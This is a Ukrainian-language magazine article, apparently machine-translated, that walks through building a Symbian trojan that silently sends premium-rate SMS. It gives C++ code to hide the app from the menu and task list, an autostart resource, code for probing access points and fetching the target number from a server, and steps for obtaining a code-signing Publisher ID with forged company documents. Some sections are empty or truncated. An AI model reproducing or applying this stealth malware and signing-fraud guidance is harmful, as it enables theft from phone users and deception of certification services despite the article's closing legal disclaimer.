трохи теорії
1. Шпигунське ПО - програми, сливающие тексти повідомлень, лог дзвінків або
за допомогою sms, або відправкою на сервер зловмисника. Про розробку подібних
програм ми розповідали в 93-м і 103-м номерах] [.
2. Трояни-розсильників платних SMS. Такий софт створюється з метою наживи. В
найпростішому варіанті програма періодично непомітно відправляє Premium SMS
вартістю від 0,5 $ до 5 $ на номер, зареєстрований на підставну юридичну
(Або - ліве фізична) особа.
Логіка функціонування просунутого трояна
Механізм приховування програми
Припустимо, що базовий кістяк додатки створений. Для цього можуть бути
використані як Carbide C ++, так і Visual Studio.NET зі встановленою
надбудовою Carbide.VS. Підійде базовий шаблон на зразок «Symbian Hello World
Application »(зазначу, що в цій статті немає прив'язки до конкретного SDK, тому
можна використовувати будь-який SDK для будь-якої платформи). Тепер приступимо до власне
приховування додатки від очей користувача. Щоб заховати програму, потрібно
виконати три простих кроки:
1) Редагуємо структуру, яка містить службову інформацію про програму та
іменовану AIF_DATA в Symbain 7.x-8.x і APP_REGISTRATION_INFO в Symbian 9.x. ця
структура є звичайним ресурсом і знаходиться зазвичай в тому файлі ресурсів,
який містить основний UID програми. Необхідно додати наступну просту
запис:
Прапор просто приховує іконку програми з меню апарату.
2) В клас документа додатки додаємо визначення віртуальної функції
UpdateTaskNameL, що служить для налаштування відображення іконки і назви програми
в Task-листі:
Void CMegaTroj :: UpdateTaskNameL
(CApaWindowGroupName * aWgName)
CAknDocument :: UpdateTaskNameL (aWgName);
// викликається системна функція UpdateTaskNameL
aWgName-> SetHidden (ETrue);
// Ховаємо додаток з таск-листа
aWgName-> SetSystem (ETrue);
>
3) Для Symbian 7/8. Додаємо в конструктор класу AppUi-додатки властивості
вікна, приховують його від очей користувача:
CEikonEnv :: Static () ->
RootWin (). EnableReceiptOfFocus (EFalse);
// додаток ніколи не може отримати фокус
CEikonEnv :: Static () ->
RootWin (). SetOrdinalPosition (-1000,
ECoeWinPriorityNeverAtFront);
Для Symbian 9. Проблема в використанні наведеного для Symbian 7/8 коду тут
полягає в тому, що виклик на іншу статичної функції в Symbian 9 блокує будь-яку
активність додатки, включаючи відправку повідомлень. Тому ми обмежуємося
викликом першої функції і перевизначати метод класу CAknViewAppUi (від якого,
власне, і успадковується клас AppUi-додатки) - HandleForegroundEventL,
викликається в момент, коли додаток отримує або втрачає фокус:
void CMegaTrojAppUi :: HandleForegroundEventL
(TBool aForeground)
switch (aForeground)
case ETrue:
CEikonEnv :: Static () -> RootWin (). SetOrdinalPosition
(0, ECoeWinPriorityNormal);
TApaTask task (iEikonEnv-> WsSession ());
task.SetWgId (CEikonEnv :: Static () ->
RootWin (). Identifier ());
task.SendToBackground ();
>
break;
>
>
Все, тепер наше додаток при установці благополучно зникає з меню
апарату, task-листа - і навіть ховається, якщо користувач раптом якимось чином
знайде виконуваний файл в файловій системі і спробує запустити його вручну.
Реалізація механізму автостарту
Програмування автостарту доведеться розглянути окремо для Symbian 7/8 і
для Symbian 9.
Для Symbian 7/8. У самій Symbian OS до версії 9.х не було явної підтримки
механізму автостарту, і злі програмісти для реалізації своїх темних планів
були змушені використовувати так звані recognizers.
Саме цей факт і можна використовувати для автостарту додатки. В нашому
випадку процедура реалізації автостарту наступна:
Процес досить складний для сприйняття, але вихідні, як зазвичай, додаються
на диску до журналу. Тут ми не будемо їх приводити через брак журнального
місця.
Для Symbian 9. Тут, на щастя, все набагато простіше. Щоб змусити нашу
програму запускатися при старті мобіли, потрібно виконати ось що:
1) Створити файл ресурсів (* .rss), званий по UID3 додатки. Зокрема,
якщо UID3 0x12345678, то файл ресурсів називаємо 12345678.rss. Утримувати він буде
Наступного ресурс:
#include
RESOURCE STARTUP_ITEM_INFO blacklist
<
executable_name = "c: \\ sys \\ bin \\ YourApp.exe";
recovery = EStartupItemExPolicyNone;
>
2) В MMP-файл додаємо команду компіляції файлу ресурсів:
START RESOURCE 12345678.rss
TARGETPATH \ resource \ apps
END
3) В pkg-файл додаємо рядок:
В даному випадку директорія c: \ private \ 101f875a \ import є робочим
каталогом, на підставі змісту якого формується список автозавантаження.
Ми, фактично, створили хороший і універсальний кістяк для практично будь-який
корисної софтина під Symbian. Йдемо далі.
Автоопределение точки доступу
На мій погляд, це найскладніша частина. Базова ідея реалізація механізму
полягає в наступному:
2) Починаємо перебирати кожну точку доступу зі списку, використовуючи її для
тестового з'єднання з віддаленим echo-сервером, які відправляють клієнтові (нашої
програмі) в точності той же набір байт, який він отримав від нього. простіше
кажучи, намагаємося відправити на ехо-сервіс байти 0x01,0x02 і 0x03 і перевіряємо,
чи отримали ми їх назад. Умова прийому даної комбінації байт є
необхідним і достатнім для ідентифікації того, що точка доступу може бути
використана для з'єднання з сервером. У разі будь-якого іншого результату -
таймаут запиту, код помилки і т.д. - ми ідентифікуємо точку доступу як
неробочу.
3) Зберігаємо ідентифікатор отриманої робочої точки доступу і використовуємо її
для з'єднання з сервером.
Для отримання списку точок доступу, як уже зазначалося, використовується
екземпляр класу CApSelect. Його можна зробити членом класу AppUi-додатки і
викликати в конструкторі AppUi наступний код (буде, відповідно, викликатися
при початку роботи з програмою):
CCommsDatabase * commDb =
CCommsDatabase :: NewL (EDatabaseTypeIAP);
CleanupStack :: PushL (commDb);
iSelect = CApSelect :: NewLC
(* CommDb, KEApIspTypeAll, EApBearerTypeGPRS,
KEApSortNameAscending);
iConnectionEnabled = iSelect-> MoveToFirst ();
CleanupStack :: Pop (iSelect);
CleanupStack :: PopAndDestroy (commDb); // commDb
Тут ми під'єднують до бази даних commDB і створюємо список точок доступу.
Після цього встановлюємо індекс списку на першу позицію (раджу вивчити
опис CApSelect в SDK). Тепер можна тестувати точки доступу. В якості
движка працездатності точки доступу використовується модифікований движок TCP,
вихідні коди якого можна взяти на forum.nokia.com. Модифікація полягає в
тому, що доданий клас - observer (MtcpipIapCheckEngineObserver), що містить
єдиний метод TestCompleted, що викликається движком при індикації процесу
закінчення тестування конкретної точки доступу. У нашому випадку від
MTcpipIapCheckEngineObserver успадковується AppUi. Ми також не публікуємо тут
вихідний текст движка CIapCheckTcpEngine, але з ним рекомендується ознайомитися
(Є на нашому диску). Відзначимо, що вся логіка використання екземпляра класу
CIapCheckTcpEngine в AppUi полягає в обробці виклику TestCompleted,
параметром якого як раз і є індикатор успішності чи неуспішності
використання точки доступу. Код TestCompleted виглядає так:
void CMegaTroyAppUi :: TestCompleted
(TIapTestResult aTestResult)
if (aTestResult == EIapNotUsable)
GetNextIapId (); // переходимо до тестування
наступної точки доступу
>
else
HandleCommandL (EConnectToServer);
// ломимося на сервер
>
>
Як видно, в разі успіху, ми коннектимся до сервера і оновлюємо номер.
Коннект до сервера і читання налаштувань
Щоб мати можливість віддалено задати хакерської софтина номер, на який
потрібно слати недешеве sms, зломщики реалізують якусь подобу адмінки (дивись
картинку).
Загалом, це вже як кому подобається. Головне, коректно обробити віддаються
сервером дані на стороні мобільного додатка. Найпростіше знову піти на
forum.nokia.com або понишпорити на нашому диску і ознайомитися з кодом
http-движка, що дозволяє здійснювати GET-запити. Використання екземпляра
класу движка з AppUi виглядає приблизно так:
Тут iUri - url скрипта, що повертає номер, а iIapId - ідентифікатор точки
доступу, яку ми вирішили використовувати. Після отримання відповіді від сервера потрібно
подбати про те, щоб зберегти номер в файл або в локальну змінну, і
відправити sms.
Механізм відправки sms
сертифікація додатки
2) Підписати додаток на сайті Symbian засобами Express Signed або
Certified Signed. Відрізняється Express Signed від Certified Signed тим, що підпис
коштує істотно дешевше (20 $), а також не вимагає тестування програми
вручну фахівцями тестового центру. Необхідно просто засабмітіть форму з
інформацією про програму та сам додаток. Якщо все зробити правильно, то на
виході отримаємо сертифіковане додаток. Проте, потім воно може
потрапити на аудит і сертифікація буде анульована, якщо тестерам щось не
сподобається. Certified Signed має на увазі собою тестування вручну
фахівцями тестового центру. У хакерському випадку це взагалі не варіант - навряд
Чи їм прийде в голову сертифікувати трояни!
1) Зломщик заповнює анкету на trustcenter.de/order/publisherid/dev, вводить
дані кредитки.
3) Злодій відправляє скани документів якогось лівого юр.лица (можна і
індивідуального підприємця).
4) вищезазначених гібрид Гітлера і Бармалея отримує посилання на сертифікат,
встановлюється в браузер. Він знадобиться, щоб отримати доступ до функцій
Express Signed з особистого кабінету на сайті SymbianSigned.com.
Все, Publisher ID отримано. Тонким моментом тут є відправка
засновницьких документів юридичної особи. Зазвичай хакери вишукують
можливість відправки якихось підроблених або чужих документів. як
показує практика, у Trustcenter немає можливості перевірити їх справжність,
тому їх малюють навіть в фотошопі. Після отримання Publisher ID зломщик
отримує доступ до Express Signed - і можливість сабміта свіжонаписані троян
на підпис. Тут кроки такі:
1) Софтина заливається на підпис.
3) Хакер швиденько викачує свій зло-софт з сайту SymbianSigned і починає
поширювати.
4) Троян, можливо, потрапляє на аудит.
5) Фахівці тестового центру анулюють сабміт, видаляючи підписану
програму з сайту і блокують Publisher ID.
Навіть якщо пункти 4 і 5 будуть мати місце (що зовсім не факт), то, в будь-якому
випадку, зломщик встигне завантажити підписаний троян і зможе почати його
популяризацію. Для поширення зарази Publisher ID не потрібен і, навіть якщо його
заблокують, це вже малоцікава, бо робили його на підставні документи.
Таким ось неабияким способом обходиться захист Symbian Platform Security.
До речі, ти помітив, що у всіх цих випадках я описую діяльність якогось
«Хакера»? Це неспроста, оскільки сам я подібними речами ніколи не займався і
тобі не раджу - ми всього лише описуємо те, як воно трапляється. Просто будь в
курсі і знай, що найсучасніші технології від Сімбіан не можуть захистити твою
мобілу на сто відсотків.
Як видно, завдання написання функціонального трояна для Symbian не така вже й
тривіальна, але цілком здійсненне. Зараз загроза безпеки не так очевидна в силу
відносної складності описаних процедур реалізації. Вірусописьменники ще не
встигли наплодити масу небезпечного ПЗ. Але з часом вони його наплодять, тому
користувачам мобільних пристроїв варто уважніше ставитися до
встановлюється ПО, тим більше, з неперевірених джерел. Якщо ж читач
зацікавлений в розробці або використанні подібних «продуктів», то
нагадуємо, що це протизаконна діяльність, яка може призвести до
сумних наслідків!